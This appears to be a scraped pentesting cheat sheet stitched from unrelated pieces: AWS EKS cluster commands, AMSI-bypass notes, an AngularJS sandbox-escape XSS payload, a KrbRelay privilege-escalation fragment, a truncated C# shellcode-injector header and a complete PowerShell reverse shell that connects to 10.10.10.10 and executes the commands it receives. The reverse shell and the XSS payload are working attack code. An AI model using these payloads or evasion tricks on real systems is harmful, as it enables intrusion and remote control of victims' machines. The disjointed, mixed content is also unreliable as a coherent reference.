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Pentesting-Exploitation

Pentesting-Exploitation Programs and Commands , Protocols Network / Ports

Red Teaming tool

General usefull Powershell Scripts
AMSI Bypass restriction Bypass
Payload Hosting
Network Share Scanner
Lateral Movement
Reverse Shellz
POST Exploitation

check EKS release

curl -s https://docs.aws.amazon.com/eks/latest/userguide/doc-history.rss | grep "<title>Kubernetes version"

Create EKS Cluster

eksctl create cluster --version=1.14 --name suhas-eks-test --region us-east-1 --zones us-east-1a,us-east-1b --node-type t2.medium --nodes 2 --ssh-access=true --ssh-public-key basarkod-test

Without any nodeGroup - Public

eksctl create cluster --without-nodegroup --version=1.14 --name delete-me --vpc-public-subnets=subnet-123,subnet-456

Without any nodeGroup - PRIVATE

AMSI Bypass

To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI

However some methods may be detected by the AV but most of them actually work without problem

Powershell downgrade

The first and worst way to bypass AMSI is downgrading powershell version to 2.0.

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

LDAP signing not required on Domain Controller (default!)

	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Runtime.InteropServices;

	namespace DinjectorWithQUserAPC
	{


	public class Program

	# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

	$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" \| Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()